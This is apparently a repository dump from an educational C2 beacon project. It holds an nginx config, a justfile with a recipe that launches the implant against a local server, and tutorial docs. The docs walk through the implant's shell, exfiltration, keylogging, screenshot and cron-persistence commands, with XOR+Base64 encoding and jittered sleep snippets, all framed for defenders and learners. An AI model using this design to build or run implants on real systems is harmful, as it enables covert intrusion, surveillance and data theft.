error_log /var/log/nginx/error.log warn;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
location /health {
access_log off;
return 200 "healthy\n";
add_header Content-Type text/plain;
}
location /api/ {
limit_req zone=api_limit burst=20 nodelay;
limit_conn conn_limit 50;
proxy_pass http://backend/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_buffering on;
proxy_buffers 8 32k;
proxy_buffer_size 4k;
proxy_connect_timeout 60s;
proxy_send_timeout 30s;
proxy_read_timeout 30s;
}
location /api/ws/ {
proxy_pass http://backend/ws/;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_read_timeout 3600s;
proxy_send_timeout 3600s;
proxy_connect_timeout 75s;
proxy_buffering off;
}
location /assets/ {
expires 1y;
add_header Cache-Control "public, immutable";
access_log off;
try_files $uri =404;
}
location ~* \.(jpg|jpeg|png|gif|ico|svg|webp|avif|woff|woff2|ttf|eot|otf)$ {
expires 1y;
add_header Cache-Control "public, immutable";
access_log off;
}
location / {
add_header Cache-Control "no-cache, must-revalidate";
try_files $uri $uri/ /index.html;
}
location ~ /\. {
deny all;
access_log off;
log_not_found off;
}
}

View File

@ -0,0 +1,211 @@
# =============================================================================
# AngelaMos | 2026
# justfile
# =============================================================================
set dotenv-filename := ".env"
set dotenv-load
set export
set shell := ["bash", "-uc"]
set windows-shell := ["powershell.exe", "-NoLogo", "-Command"]
project := file_name(justfile_directory())
version := `git describe --tags --always 2>/dev/null || echo "dev"`
# =============================================================================
# Default
# =============================================================================
default:
@just --list --unsorted
# =============================================================================
# Backend Linting
# =============================================================================
[group('lint')]
ruff *ARGS:
ruff check backend/ {{ARGS}}
[group('lint')]
ruff-fix:
ruff check backend/ --fix
ruff format backend/
[group('lint')]
ruff-format:
ruff format backend/
[group('lint')]
pylint *ARGS:
pylint backend/app {{ARGS}}
[group('lint')]
lint: ruff
# =============================================================================
# Frontend Linting
# =============================================================================
[group('frontend')]
biome *ARGS:
cd frontend && pnpm biome check . {{ARGS}}
[group('frontend')]
biome-fix:
cd frontend && pnpm biome check --write .
[group('frontend')]
stylelint *ARGS:
cd frontend && pnpm stylelint '**/*.scss' {{ARGS}}
[group('frontend')]
stylelint-fix:
cd frontend && pnpm stylelint '**/*.scss' --fix
[group('frontend')]
tsc *ARGS:
cd frontend && pnpm tsc --noEmit {{ARGS}}
# =============================================================================
# Type Checking
# =============================================================================
[group('types')]
mypy *ARGS:
mypy backend/app {{ARGS}}
[group('types')]
typecheck: mypy
# =============================================================================
# Testing
# =============================================================================
[group('test')]
pytest *ARGS:
pytest backend/tests {{ARGS}}
[group('test')]
test: pytest
[group('test')]
test-cov:
pytest backend/tests --cov=backend/app --cov-report=term-missing --cov-report=html
# =============================================================================
# CI / Quality
# =============================================================================
[group('ci')]
ci: lint typecheck test
[group('ci')]
check: ruff mypy
# =============================================================================
# Docker Compose (Production)
# =============================================================================
[group('prod')]
up *ARGS:
docker compose --env-file .env up {{ARGS}}
[group('prod')]
start *ARGS:
docker compose --env-file .env up -d {{ARGS}}
[group('prod')]
down *ARGS:
docker compose --env-file .env down {{ARGS}}
[group('prod')]
stop:
docker compose --env-file .env stop
[group('prod')]
build *ARGS:
docker compose --env-file .env build {{ARGS}}
[group('prod')]
rebuild:
docker compose --env-file .env build --no-cache
[group('prod')]
logs *SERVICE:
docker compose --env-file .env logs -f {{SERVICE}}
[group('prod')]
ps:
docker compose --env-file .env ps
[group('prod')]
shell service='backend':
docker compose --env-file .env exec -it {{service}} /bin/bash
# =============================================================================
# Docker Compose (Development)
# =============================================================================
[group('dev')]
dev-up *ARGS:
docker compose -f dev.compose.yml up {{ARGS}}
[group('dev')]
dev-start *ARGS:
docker compose -f dev.compose.yml up -d {{ARGS}}
[group('dev')]
dev-down *ARGS:
docker compose -f dev.compose.yml down {{ARGS}}
[group('dev')]
dev-stop:
docker compose -f dev.compose.yml stop
[group('dev')]
dev-build *ARGS:
docker compose -f dev.compose.yml build {{ARGS}}
[group('dev')]
dev-rebuild:
docker compose -f dev.compose.yml build --no-cache
[group('dev')]
dev-logs *SERVICE:
docker compose -f dev.compose.yml logs -f {{SERVICE}}
[group('dev')]
dev-ps:
docker compose -f dev.compose.yml ps
[group('dev')]
dev-shell service='backend':
docker compose -f dev.compose.yml exec -it {{service}} /bin/bash
# =============================================================================
# Beacon
# =============================================================================
[group('beacon')]
beacon *ARGS:
cd beacon && C2_SERVER_URL="ws://localhost:${NGINX_HOST_PORT}/api/ws/beacon" C2_XOR_KEY="${XOR_KEY}" uv run python beacon.py {{ARGS}}
# =============================================================================
# Utilities
# =============================================================================
[group('util')]
info:
@echo "Project: {{project}}"
@echo "Version: {{version}}"
@echo "OS: {{os()}} ({{arch()}})"
[group('util')]
clean:
-rm -rf backend/.mypy_cache
-rm -rf backend/.pytest_cache
-rm -rf backend/.ruff_cache
-rm -rf backend/htmlcov
-rm -rf backend/.coverage
@echo "Cache directories cleaned"

View File

@ -0,0 +1,157 @@
<!-- © AngelaMos | 2026 | 00-OVERVIEW.md -->
# C2 Beacon / Server
## What This Is
This is an educational Command and Control (C2) beacon and server built to demonstrate how real C2 frameworks like Cobalt Strike, Sliver, and Mythic operate under the hood. The beacon implant connects to the server over WebSocket, with traffic encoded using XOR and Base64. There are 10 commands mapped to MITRE ATT&CK techniques, a task queueing system, and a real-time operator dashboard where you can select beacons and issue commands through a terminal-style UI.
## Why This Matters
Cobalt Strike is referenced in nearly 70% of incident response engagements. It is, by a wide margin, the most commonly encountered C2 framework in real breaches. When defenders find Cobalt Strike beacons on a network, they need to understand how the beacon communicates, how tasks are queued, and how the operator controls the implant. Without that understanding, incident response is mostly guesswork.
The SolarWinds SUNBURST attack in 2020 used a custom C2 protocol tunneled over HTTP, with the implant disguised as a legitimate Orion software update. The beacon would collect system info, sleep for up to two weeks before making its first callback, and then receive tasking through DNS and HTTP responses crafted to look like normal telemetry. The sophistication was in the protocol design, not in the exploit itself.
APT29 (Cozy Bear) has been documented using custom C2 implants with jittered sleep intervals, domain fronting, and encrypted channels that blend into normal HTTPS traffic. The jitter makes network-based detection harder because the callback pattern looks irregular rather than mechanical. This project implements jittered sleep for the same reason, so you can see exactly how that technique works and why a fixed-interval beacon is trivial to fingerprint.
If you work on a blue team, in incident response, or in threat intelligence, understanding C2 architecture is foundational. You cannot write detection rules for something you do not understand. Building one from scratch, even a simplified educational version, gives you a mental model that reading reports alone does not.
## What You'll Learn
**Security Concepts:** C2 architecture and the beacon/server model. MITRE ATT&CK technique mapping (T1059 Command Execution, T1082 System Discovery, T1057 Process Discovery, T1105 Ingress Tool Transfer, T1113 Screen Capture, T1056 Input Capture, T1053 Persistence, T1029 Scheduled Transfer). Protocol encoding with XOR and Base64. Persistence techniques via cron. Detection strategies and how defenders spot C2 traffic.
**Technical Skills:** WebSocket programming on both sides of the connection. Async Python with asyncio, including subprocess execution and concurrent task handling. React with real time UI updates, Zustand state management, and Zod schema validation. Docker Compose orchestration with Nginx reverse proxy, health checks, and multi-service networking.
**Tools:** FastAPI for the server, aiosqlite for the database, psutil for system enumeration, websockets for the beacon transport layer, Vite for the frontend build, Zod for runtime type validation, and Pydantic for backend data modeling.
## Prerequisites
### Required
- Python 3.13+
- Node.js 22+
- Docker and Docker Compose
- Basic understanding of networking, HTTP, and how client-server communication works
### Required Tools
- **uv** for Python package management (never pip). Install: `curl -LsSf https://astral.sh/uv/install.sh | sh`
- **pnpm** for Node package management (never npm). Install: `corepack enable && corepack prepare pnpm@latest --activate`
- **just** as a command runner. Install: `cargo install just` or `brew install just`
- **Docker Compose** (comes with Docker Desktop, or install the plugin separately)
### Helpful But Not Required
- Familiarity with WebSockets and the connect/send/receive/close lifecycle
- Experience with async/await in Python or JavaScript
- Prior exposure to React (the dashboard is straightforward, but React knowledge helps)
## Quick Start
```bash
git clone https://github.com/CarterPerez-dev/Cybersecurity-Projects.git
cd PROJECTS/beginner/c2-beacon
docker compose -f dev.compose.yml up -d
```
Visit http://localhost:47430 in your browser. You should see the operator dashboard with an empty beacon table.
In a second terminal, start a beacon:
```bash
cd PROJECTS/beginner/c2-beacon
just beacon
```
You should see output like this from the beacon:
```
2026-02-14 10:32:01 INFO: Connecting to ws://localhost:47430/api/ws/beacon
2026-02-14 10:32:01 INFO: Registered as 3a7f1c29-8b42-4e91-a6d3-9f0e5c8d2b17
```
Back in the browser, the beacon appears in the dashboard table with its hostname, OS, username, and IP. Click the row to open a session. Type `shell whoami` in the terminal input and press Enter. The command is sent to the beacon, executed, and the output appears in the terminal UI.
Try a few more:
```
sysinfo
proclist
shell ls -la /tmp
```
Each command goes through the full pipeline: operator dashboard sends JSON over WebSocket to the server, server queues a task and forwards it (XOR+Base64 encoded) to the beacon, beacon executes the command, encodes the result, sends it back, and the server broadcasts it to the operator dashboard.
## Project Structure
```
c2-beacon/
├── backend/
│ └── app/
│ ├── core/
│ │ ├── encoding.py XOR + Base64 encode/decode functions
│ │ ├── models.py Pydantic models: BeaconRecord, TaskRecord, TaskResult
│ │ └── protocol.py Message envelope: pack/unpack with type validation
│ ├── beacon/
│ │ ├── registry.py In-memory beacon registry with aiosqlite persistence
│ │ ├── router.py WebSocket endpoint for beacon connections
│ │ └── tasking.py Task queue: create, assign, complete, retrieve
│ ├── ops/
│ │ ├── manager.py Operator WebSocket connection manager + broadcasting
│ │ └── router.py Operator WebSocket + REST endpoints
│ ├── config.py Pydantic Settings: XOR key, ports, CORS, DB path
│ └── database.py aiosqlite setup with table creation
├── beacon/
│ └── beacon.py The implant (~514 lines, single file, 10 command handlers)
├── frontend/
│ └── src/
│ ├── core/
│ │ ├── ws.ts Zustand store + useOperatorSocket hook
│ │ └── types.ts Zod schemas for all WebSocket message types
│ └── pages/
│ ├── dashboard/ Beacon table with real-time status updates
│ └── session/ Terminal UI with command input and result display
├── infra/
│ ├── docker/ Dockerfiles for dev (hot reload) and prod
│ └── nginx/ Reverse proxy configs (WebSocket proxying)
├── dev.compose.yml 3-service dev stack: nginx, backend, frontend
├── compose.yml Production compose
├── justfile Command runner: just beacon, just dev-up, etc.
└── learn/ You are here
```
## How It Works (Brief)
```
┌──────────┐ WebSocket ┌──────────┐ WebSocket ┌──────────┐
│ Beacon │ ──XOR+Base64──> │ Server │ <──JSON──────── │ Operator │
│ (target) │ <──XOR+Base64── │ (FastAPI)│ ──JSON────────> │ (React) │
└──────────┘ └──────────┘ └──────────┘
```
The beacon implant (`beacon/beacon.py`) connects to the server via WebSocket at `/ws/beacon`. On connect, it sends a REGISTER message containing system info: hostname, OS, username, PID, internal IP, and architecture. The server stores this in the beacon registry (in-memory dict backed by aiosqlite) and broadcasts a `beacon_connected` event to all connected operators.
The beacon then enters a loop. It sends periodic HEARTBEAT messages with jittered timing (base interval + random jitter percentage), which keeps the connection alive and updates the "last seen" timestamp on the server. Between heartbeats, it waits for TASK messages from the server.
On the operator side, the React dashboard connects via a separate WebSocket at `/ws/operator`. When you type a command in the session terminal, the frontend sends a JSON message to the server. The server creates a TaskRecord, queues it, and forwards the task to the target beacon as an XOR+Base64 encoded TASK message.
The beacon receives the task, dispatches it to the appropriate handler (shell, sysinfo, proclist, etc.), and sends back a RESULT message with the output. The server stores the result, marks the task as completed, and broadcasts it to the operator dashboard, which renders it in the terminal UI.
Two separate WebSocket channels keep concerns separated. The beacon channel uses XOR+Base64 encoding (simulating encrypted C2 comms). The operator channel uses plain JSON (trusted internal communication).
## Next Steps
- [01 - Concepts](01-CONCEPTS.md): C2 theory, MITRE ATT&CK mapping for each command, and how defenders detect beacons
- [02 - Architecture](02-ARCHITECTURE.md): Protocol design, data flow, encoding decisions, and why things are built this way
- [03 - Implementation](03-IMPLEMENTATION.md): Code walkthrough of every component, from the beacon implant to the React dashboard
- [04 - Challenges](04-CHALLENGES.md): Extensions and harder exercises (AES encryption, DNS tunneling, evasion techniques)
## Common Issues
**"WebSocket closed before established" in browser console:** This is React StrictMode doing a double-mount in development. The first WebSocket connects and immediately disconnects, then the second one connects and stays. Harmless. You will see it every time you reload the page in dev mode.
**Beacon cannot connect to the server:** Make sure the Docker containers are actually running. Run `just dev-ps` to check. The beacon connects through Nginx on port 47430, so all three services (nginx, backend, frontend) need to be healthy. If the backend shows as unhealthy, check its logs with `just dev-logs backend`.
**"No beacons connected" on the dashboard:** You need to run the beacon implant separately. It does not start automatically with Docker. Open a second terminal and run `just beacon`. The beacon should register within a few seconds and appear in the dashboard table.
**Commands return empty output:** Some commands require specific conditions. `screenshot` needs a display server (will fail in headless environments or Docker containers). `keylog_start` needs pynput, which requires an X11 or Wayland session. `persist` only works on Linux. The `shell` command works everywhere.

View File

@ -0,0 +1,521 @@
<!-- © AngelaMos | 2026 | 01-CONCEPTS.md -->
# C2 Beacon Concepts
This document covers the core ideas behind Command and Control (C2) infrastructure, how our project implements them, and how they map to real-world offensive and defensive security. Read time is roughly 15-20 minutes. By the end you should understand why C2 works the way it does, what each command in our beacon does from a MITRE ATT&CK perspective, and how defenders catch exactly this kind of traffic.
---
## Command and Control (C2) Architecture
### What It Is
Picture this scenario. An attacker has already gotten into a corporate network, maybe through a phishing email, maybe through an unpatched VPN appliance. They have code running on a target machine. Now what? They need a way to tell that code what to do, and they need to get results back.
That is what C2 solves. Command and Control is the communication channel between an attacker and compromised systems. The attacker runs a **server** (sometimes called a team server or listener) on infrastructure they control. The compromised machine runs an **implant** (also called a beacon, agent, or payload) that reaches out to that server, asks for instructions, executes them, and sends results back.
In concrete terms:
1. The attacker compromises a machine and deploys a beacon binary or script.
2. The beacon initiates an outbound connection to the C2 server.
3. The server queues commands for the beacon (run this shell command, grab that file, take a screenshot).
4. The beacon picks up queued commands, executes them locally, and sends results back over the same channel.
5. The operator sees results in a dashboard or terminal.
This phase of an intrusion, the C2 phase, is one of the most critical. Without it, an attacker has a one-shot exploit. With it, they have persistent, interactive access to the target. The Lockheed Martin Cyber Kill Chain places C2 as step 6 of 7. MITRE ATT&CK dedicates an entire tactic category to it (TA0011). Every major breach you have read about, from SolarWinds (SUNBURST) to the Colonial Pipeline ransomware incident, involved sustained C2 communications.
### The Beacon/Server Model
A natural question: why does the beacon call out to the server? Why not have the server connect inbound to the target?
The answer is firewalls and NAT. Corporate networks almost universally block unsolicited inbound connections. Workstations sit behind NAT gateways without public IP addresses. A server trying to connect to port 4444 on an internal workstation would be dropped at the perimeter immediately.
But outbound traffic? That flows freely in most environments. Employees browse the web, call APIs, stream video. A beacon making HTTPS requests to what looks like a legitimate domain blends right into that traffic. From the firewall's perspective, the beacon's outbound WebSocket connection looks similar to any other web application traffic.
Cobalt Strike, the most widely used commercial red team C2 framework, popularized this model with its "beacon" concept. A Cobalt Strike beacon sleeps for a configured interval (default 60 seconds), wakes up, contacts the team server over HTTP/HTTPS, downloads any queued commands, executes them, and posts results back. The name "beacon" comes from this periodic check-in pattern, like a lighthouse blinking at regular intervals.
Our project follows this same model. The beacon (`beacon/beacon.py`) initiates a WebSocket connection to the server (`backend/app/beacon/router.py`). The server never tries to reach the beacon. The beacon always calls home.
### Why Attackers Use C2
Five core reasons:
**Persistent access after initial compromise.** The initial exploit might be a one-time event, a phishing link clicked, a vulnerability triggered. C2 gives the attacker a durable channel that survives the initial vector being patched or discovered. Combined with persistence mechanisms (cron jobs, registry keys, scheduled tasks), the beacon comes back even after reboots.
**Command execution without interactive sessions.** An attacker does not need to maintain an open SSH or RDP session. The beacon operates asynchronously. The operator queues a command, walks away, and checks results hours later. This is especially useful in long-duration operations where constant interaction would be suspicious.
**Exfiltration of data through the C2 channel.** Stolen data leaves the network through the same encrypted channel the commands arrive on. No separate FTP server, no suspicious cloud uploads. The data rides out inside the C2 protocol, often chunked and encoded to avoid detection.
**Lateral movement coordination.** Once inside a network, attackers pivot from machine to machine. A single C2 server can manage dozens or hundreds of beacons across a compromised environment, coordinating actions like credential harvesting on one machine, lateral movement to another, and data staging on a third.
**Maintaining stealth through encrypted channels.** C2 traffic is typically encrypted (TLS, mTLS, or custom encryption). Even if a defender captures the packets, they see encrypted blobs. Combine this with domain fronting or legitimate cloud infrastructure and the traffic becomes very difficult to distinguish from normal business operations.
### Real World C2 Frameworks
Here is how our project sits alongside the frameworks used in actual operations:
| Framework | Language | Protocol | Notable Use |
|-----------|----------|----------|-------------|
| Cobalt Strike | Java | HTTP/HTTPS/DNS | Most common in APT campaigns. Used by both red teams and threat actors like APT29, FIN7, and Conti ransomware operators. |
| Sliver | Go | mTLS/HTTP/DNS/WireGuard | Open source alternative to Cobalt Strike. Gained adoption after Cobalt Strike cracks became heavily signatured. |
| Mythic | Python/Go | HTTP/WebSocket | Modular framework with community-contributed agents. Each agent is its own project with its own capabilities. |
| Brute Ratel | C++ | HTTP/DNS | Designed specifically to evade EDR products. Gained attention in 2022 when cracked copies appeared in the wild. |
| Our Project | Python | WebSocket | Educational. Demonstrates the architecture pattern without operational security features. |
The important thing to notice: every one of these frameworks implements the same core pattern. Server listens, beacon calls home, commands flow down, results flow up. The differences are in protocol sophistication, evasion capabilities, and operational security. Our project strips away the evasion complexity so you can focus on understanding the architecture itself.
---
## MITRE ATT&CK Mapping
### What Is MITRE ATT&CK?
MITRE ATT&CK is a knowledge base of adversary tactics and techniques based on real-world observations. Think of it as a taxonomy of everything attackers do, organized into categories like Initial Access, Execution, Persistence, Discovery, Collection, Exfiltration, and Command and Control.
Every technique gets an ID (like T1059 for Command and Scripting Interpreter). Security teams use these IDs to classify incidents, measure detection coverage, and communicate about threats in a shared language. When a SOC analyst writes "we observed T1059.001 execution," every other analyst knows they mean PowerShell was used to run commands.
The framework lives at [https://attack.mitre.org/](https://attack.mitre.org/) and is updated regularly as new techniques are observed in the wild.
Our beacon implements 10 commands. Each one maps to a specific ATT&CK technique. Here is the full mapping:
### Command-to-Technique Table
| Command | Technique ID | Tactic | Technique Name |
|---------|-------------|--------|----------------|
| `shell` | T1059 | Execution | Command and Scripting Interpreter |
| `sysinfo` | T1082 | Discovery | System Information Discovery |
| `proclist` | T1057 | Discovery | Process Discovery |
| `upload` | T1105 | Command and Control | Ingress Tool Transfer |
| `download` | T1041 | Exfiltration | Exfiltration Over C2 Channel |
| `screenshot` | T1113 | Collection | Screen Capture |
| `keylog_start` | T1056.001 | Collection | Input Capture: Keylogging |
| `keylog_stop` | T1056.001 | Collection | Input Capture: Keylogging |
| `persist` | T1053.003 | Persistence | Scheduled Task/Job: Cron |
| `sleep` | T1029 | Command and Control | Scheduled Transfer |
### Detailed Breakdown
**shell (T1059 - Command and Scripting Interpreter)**
This is the most fundamental C2 capability. The beacon receives a string, passes it to `asyncio.create_subprocess_shell()`, captures stdout and stderr, and sends both back. In our codebase, `handle_shell` in `beacon/beacon.py` does exactly this. In real attacks, T1059 is present in nearly every intrusion. The SolarWinds SUNBURST implant used `cmd.exe` for command execution. The technique has sub-techniques for specific interpreters: T1059.001 (PowerShell), T1059.003 (Windows Command Shell), T1059.004 (Unix Shell). Our beacon uses the system default shell on whatever OS it runs on.
**sysinfo (T1082 - System Information Discovery)**
After landing on a machine, attackers need to understand what they are working with. Our `handle_sysinfo` collects hostname, OS version, architecture, CPU count, memory totals, disk partitions, and network interfaces using the `psutil` library. This is reconnaissance. APT groups routinely run `systeminfo`, `uname -a`, or equivalent commands as one of their first actions. During the 2020 SolarWinds campaign, SUNBURST collected OS version, domain name, and installed security products before the operators decided whether a target was worth pursuing.
**proclist (T1057 - Process Discovery)**
Enumerating running processes tells an attacker several things: what security tools are running (is there an EDR agent? an antivirus?), what user context processes run under, and what services are active. Our `handle_proclist` iterates `psutil.process_iter()` and returns PIDs, names, and usernames for up to 100 processes. In real operations, process listings help attackers decide which processes to inject into, which security tools to evade, and which services to target for credential theft.
**upload (T1105 - Ingress Tool Transfer)**
Uploading files to a compromised host is how attackers stage additional tools. Our `handle_upload` receives a JSON object containing a filename and base64-encoded content, then writes it to `/tmp/`. In the real world, attackers upload privilege escalation exploits, lateral movement tools like Mimikatz, additional implants, or tunnel utilities. The T1105 technique is present whenever you see an attacker pushing a binary to a compromised system through the C2 channel rather than having the target download it from the internet.
**download (T1041 - Exfiltration Over C2 Channel)**
This is the data theft capability. Our `handle_download` reads a file from disk, base64-encodes it, and sends it back through the WebSocket. The key detail here: the stolen data exits through the same channel the commands arrive on. Defenders looking for exfiltration via unusual protocols or cloud storage uploads would miss this because the data is embedded in C2 traffic. The DarkSide ransomware group (responsible for the Colonial Pipeline attack) used their C2 channel to exfiltrate gigabytes of corporate data before deploying the ransomware payload.
**screenshot (T1113 - Screen Capture)**
Taking screenshots lets attackers see what a user is doing in real time. Our `handle_screenshot` uses the `mss` library to grab the full screen, converts it to PNG, and base64-encodes the result. This technique is common in espionage operations. APT28 (Fancy Bear) used screenshot capabilities in their X-Agent implant to monitor targets. It is also used in financial crime to capture banking sessions and credential entry.
**keylog_start / keylog_stop (T1056.001 - Input Capture: Keylogging)**
Keylogging captures everything a user types: passwords, messages, search queries, internal URLs. Our beacon uses `pynput` to hook keyboard events in a background thread. `handle_keylog_start` begins capture, `handle_keylog_stop` terminates the listener and returns all captured keystrokes. Keyloggers are among the oldest offensive tools. The difference between a standalone keylogger and what we have here is that ours is integrated into the C2 framework, so captured keystrokes are exfiltrated automatically through the beacon's existing channel rather than requiring a separate retrieval mechanism.
**persist (T1053.003 - Scheduled Task/Job: Cron)**
Persistence is how an attacker survives reboots. Without it, the beacon dies when the machine restarts and the attacker loses access. Our `handle_persist` writes a `@reboot` cron entry that re-launches the beacon on system startup. The function checks the current crontab, verifies the entry does not already exist, and appends it. This is a Linux-specific technique. The technique ID T1053.003 specifically covers cron-based persistence. In real operations, APT groups like TeamTNT have used cron persistence extensively in their cryptocurrency mining campaigns targeting Linux servers.
**sleep (T1029 - Scheduled Transfer)**
Adjusting the sleep interval is an operational security control. Our `handle_sleep` lets the operator modify `sleep_interval` and `jitter_percent` on the fly. During an initial compromise, an attacker might use a short sleep (1-5 seconds) for rapid interaction. Once they have established access and want to avoid detection, they increase it to minutes or hours. Cobalt Strike operators routinely set sleep intervals to 300-900 seconds with 30-50% jitter during long-term operations. The T1029 mapping reflects that the beacon transfers data on a schedule rather than in real time, which is a defining characteristic of C2 beaconing.
---
## Protocol Encoding
### XOR Cipher
XOR (exclusive or) is the simplest reversible binary operation. Given two bits, XOR returns 1 if they differ and 0 if they match:
```
0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0
```
The property that makes XOR useful for encoding: applying the same key twice returns the original data.
```
data XOR key = encoded
encoded XOR key = data
```
Here is the concrete math with a single byte. Say the data byte is `0x48` (the letter "H") and the key byte is `0x63` (the letter "c"):
```
0x48 = 01001000
0x63 = 01100011
XOR = 00101011 = 0x2B
```
Apply the key again:
```
0x2B = 00101011
0x63 = 01100011
XOR = 01001000 = 0x48 = "H"
```
Our project implements this in `backend/app/core/encoding.py`:
```python
def xor_bytes(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
```
The `i % len(key)` part is critical. It makes the key repeat. If the key is "abc" (3 bytes) and the data is 10 bytes long, the key cycles: a,b,c,a,b,c,a,b,c,a. Each data byte gets XORed with the corresponding key byte at that position.
**Why XOR alone is weak.** Two major problems:
First, **known plaintext attacks**. If an attacker knows (or can guess) any part of the plaintext, they can recover the key. Since our protocol sends JSON messages that always start with `{"type":`, an attacker who captures the encoded output can XOR the known plaintext against the ciphertext to extract the key. Once they have the key, they can decode everything.
Second, **frequency analysis**. With a short, repeating key, statistical patterns in the plaintext leak through. The letter "e" appears roughly 13% of the time in English text. If the key repeats every 32 bytes, you can split the ciphertext into 32 streams and do frequency analysis on each one independently. This is the classic Vigenere cipher weakness, and XOR with a repeating key is essentially Vigenere operating on bits instead of letters.
### Why XOR + Base64
Our encoding pipeline uses both XOR and Base64 for different reasons:
- **XOR provides basic obfuscation.** It is not real encryption. It will not stop a determined analyst. But it means the protocol messages are not sitting on the wire as readable JSON. A casual observer or basic string-matching IDS rule will not immediately see `{"type":"TASK","payload":{"command":"shell"}}` in the traffic.
- **Base64 makes binary safe for text transport.** After XOR, the data is arbitrary bytes, including null bytes and other values that break text protocols. Base64 converts those bytes into a safe ASCII alphabet (A-Z, a-z, 0-9, +, /). This matters because WebSocket text frames expect valid text data. Without Base64, we would need to use binary WebSocket frames, which is a valid approach but adds complexity we do not need in a beginner project.
- **Real C2 frameworks use actual encryption.** Cobalt Strike uses AES-256 in CBC mode. Sliver uses mutual TLS (mTLS) where both the server and beacon authenticate with certificates. Brute Ratel uses a combination of RC4 and AES. We use XOR because the goal of this project is to teach the architectural pattern, not to build something operationally secure. Understanding XOR encoding helps you understand what real encryption is doing at a conceptual level without the complexity of key exchange, initialization vectors, and cipher modes.
### The Encoding Pipeline
Here is the full path a message takes from plaintext to wire format and back:
**Encoding (beacon to server, or server to beacon):**
```
Plaintext JSON --> UTF-8 bytes --> XOR with key --> Base64 --> WebSocket text frame
```
Step by step with a real example. Say the message is `{"type":"HEARTBEAT","payload":{"id":"abc-123"}}` and the key is `c2-beacon-default-key-change-me`:
1. The JSON string becomes UTF-8 bytes: `7b 22 74 79 70 65 ...`
2. Each byte gets XORed with the repeating key bytes: `7b^63, 22^32, 74^2d, 79^62, ...`
3. The resulting binary blob gets Base64 encoded into a printable ASCII string.
4. That string is sent as a WebSocket text frame.
**Decoding (receiving side):**
```
WebSocket text frame --> Base64 decode --> XOR with key --> UTF-8 string --> JSON parse
```
You can see both directions implemented in `backend/app/core/encoding.py`:
```python
def encode(payload: str, key: str) -> str:
raw = payload.encode("utf-8")
xored = xor_bytes(raw, key.encode("utf-8"))
return base64.b64encode(xored).decode("ascii")
def decode(encoded: str, key: str) -> str:
xored = base64.b64decode(encoded)
raw = xor_bytes(xored, key.encode("utf-8"))
return raw.decode("utf-8")
```
The protocol layer (`backend/app/core/protocol.py`) wraps these functions with Pydantic validation. The `pack` function serializes a `Message` object to JSON, then encodes it. The `unpack` function decodes, parses, and validates in one step. If any step fails (bad Base64, XOR produces invalid UTF-8, JSON is malformed, Pydantic validation fails), `unpack` raises a `ValueError`.
---
## Beacon Behavior Patterns
### Sleep and Jitter
A beacon that calls home every second, on the second, is trivially detectable. Network monitoring tools can identify periodic connections with high confidence. If a host makes an HTTPS request to the same domain at exactly 1-second intervals for hours on end, that is a massive red flag.
Sleep intervals solve part of this problem. Instead of constant communication, the beacon waits between check-ins. Our project defaults to a 3-second sleep interval, which is aggressive for a real operation but good for interactive demos.
Jitter solves the rest. Jitter adds randomness to the sleep interval. Our beacon uses 30% jitter by default:
```python
def jittered_sleep() -> float:
jitter = config.sleep_interval * config.jitter_percent
return config.sleep_interval + random.uniform(-jitter, jitter)
```
With a 3-second interval and 30% jitter, the actual sleep time ranges from 2.1 seconds to 3.9 seconds. Each cycle is different. The timing pattern looks irregular rather than metronome-like.
For reference, Cobalt Strike defaults to a 60-second sleep interval with 0% jitter. That 0% default is considered poor operational security, and experienced operators immediately change it. Common real-world settings are 300 seconds (5 minutes) with 30-50% jitter for long-term operations. During active engagement where the operator needs quick responses, they might use 5-10 seconds with 10-20% jitter.
The trade-off is responsiveness versus stealth. A short sleep means the operator gets results quickly. A long sleep with high jitter makes the beacon harder to detect but means you might wait 10 minutes for a command to execute.
### Heartbeats
The server needs to know which beacons are still alive. If a beacon goes silent, is it because the host was shut down? Did the network path change? Was the beacon detected and killed by an EDR?
Our beacon sends periodic heartbeat messages during the sleep loop:
```python
async def heartbeat_loop(ws: Any) -> None:
while True:
try:
msg = pack("HEARTBEAT", {"id": config.beacon_id})
await ws.send(msg)
await asyncio.sleep(jittered_sleep())
except Exception:
break
```
Each heartbeat updates the `last_seen` timestamp in the server's database (via `registry.update_last_seen` in `backend/app/beacon/registry.py`). The dashboard displays this timestamp so the operator can see at a glance which beacons are actively checking in versus which have gone dark.
In production C2 frameworks, the heartbeat is often implicit rather than explicit. The act of checking in for tasks serves as the heartbeat. Our project uses explicit heartbeat messages because WebSocket connections are persistent, and we need a mechanism to keep the connection alive and update timestamps even when no tasks are queued.
### Reconnection Strategy
Networks are unreliable. Servers restart. Firewalls reset connections. The beacon needs to handle all of this gracefully.
Our beacon implements exponential backoff:
```
Attempt 1: wait 2 seconds
Attempt 2: wait 4 seconds
Attempt 3: wait 8 seconds
Attempt 4: wait 16 seconds
...continuing to double...
Attempt N: wait up to 300 seconds (5-minute cap)
```
The relevant code in `beacon/beacon.py`:
```python
backoff = config.reconnect_base
while True:
try:
async with connect(config.server_url) as ws:
backoff = config.reconnect_base
...
except (ConnectionRefusedError, websockets.exceptions.ConnectionClosed, OSError):
await asyncio.sleep(backoff)
backoff = min(backoff * 2, config.reconnect_max)
```
Two things to notice. First, on a successful connection, `backoff` resets to the base value (2 seconds). Second, the backoff caps at `reconnect_max` (300 seconds). Without the cap, the backoff would grow indefinitely and the beacon could end up waiting hours between attempts.
Why exponential backoff matters: if the server is down and 50 beacons are trying to reconnect simultaneously, you do not want all 50 hammering the server every 2 seconds. That creates network noise and could look like a DDoS. Exponential backoff spreads out the reconnection attempts over time, reducing load and reducing visibility.
---
## Persistence Mechanisms
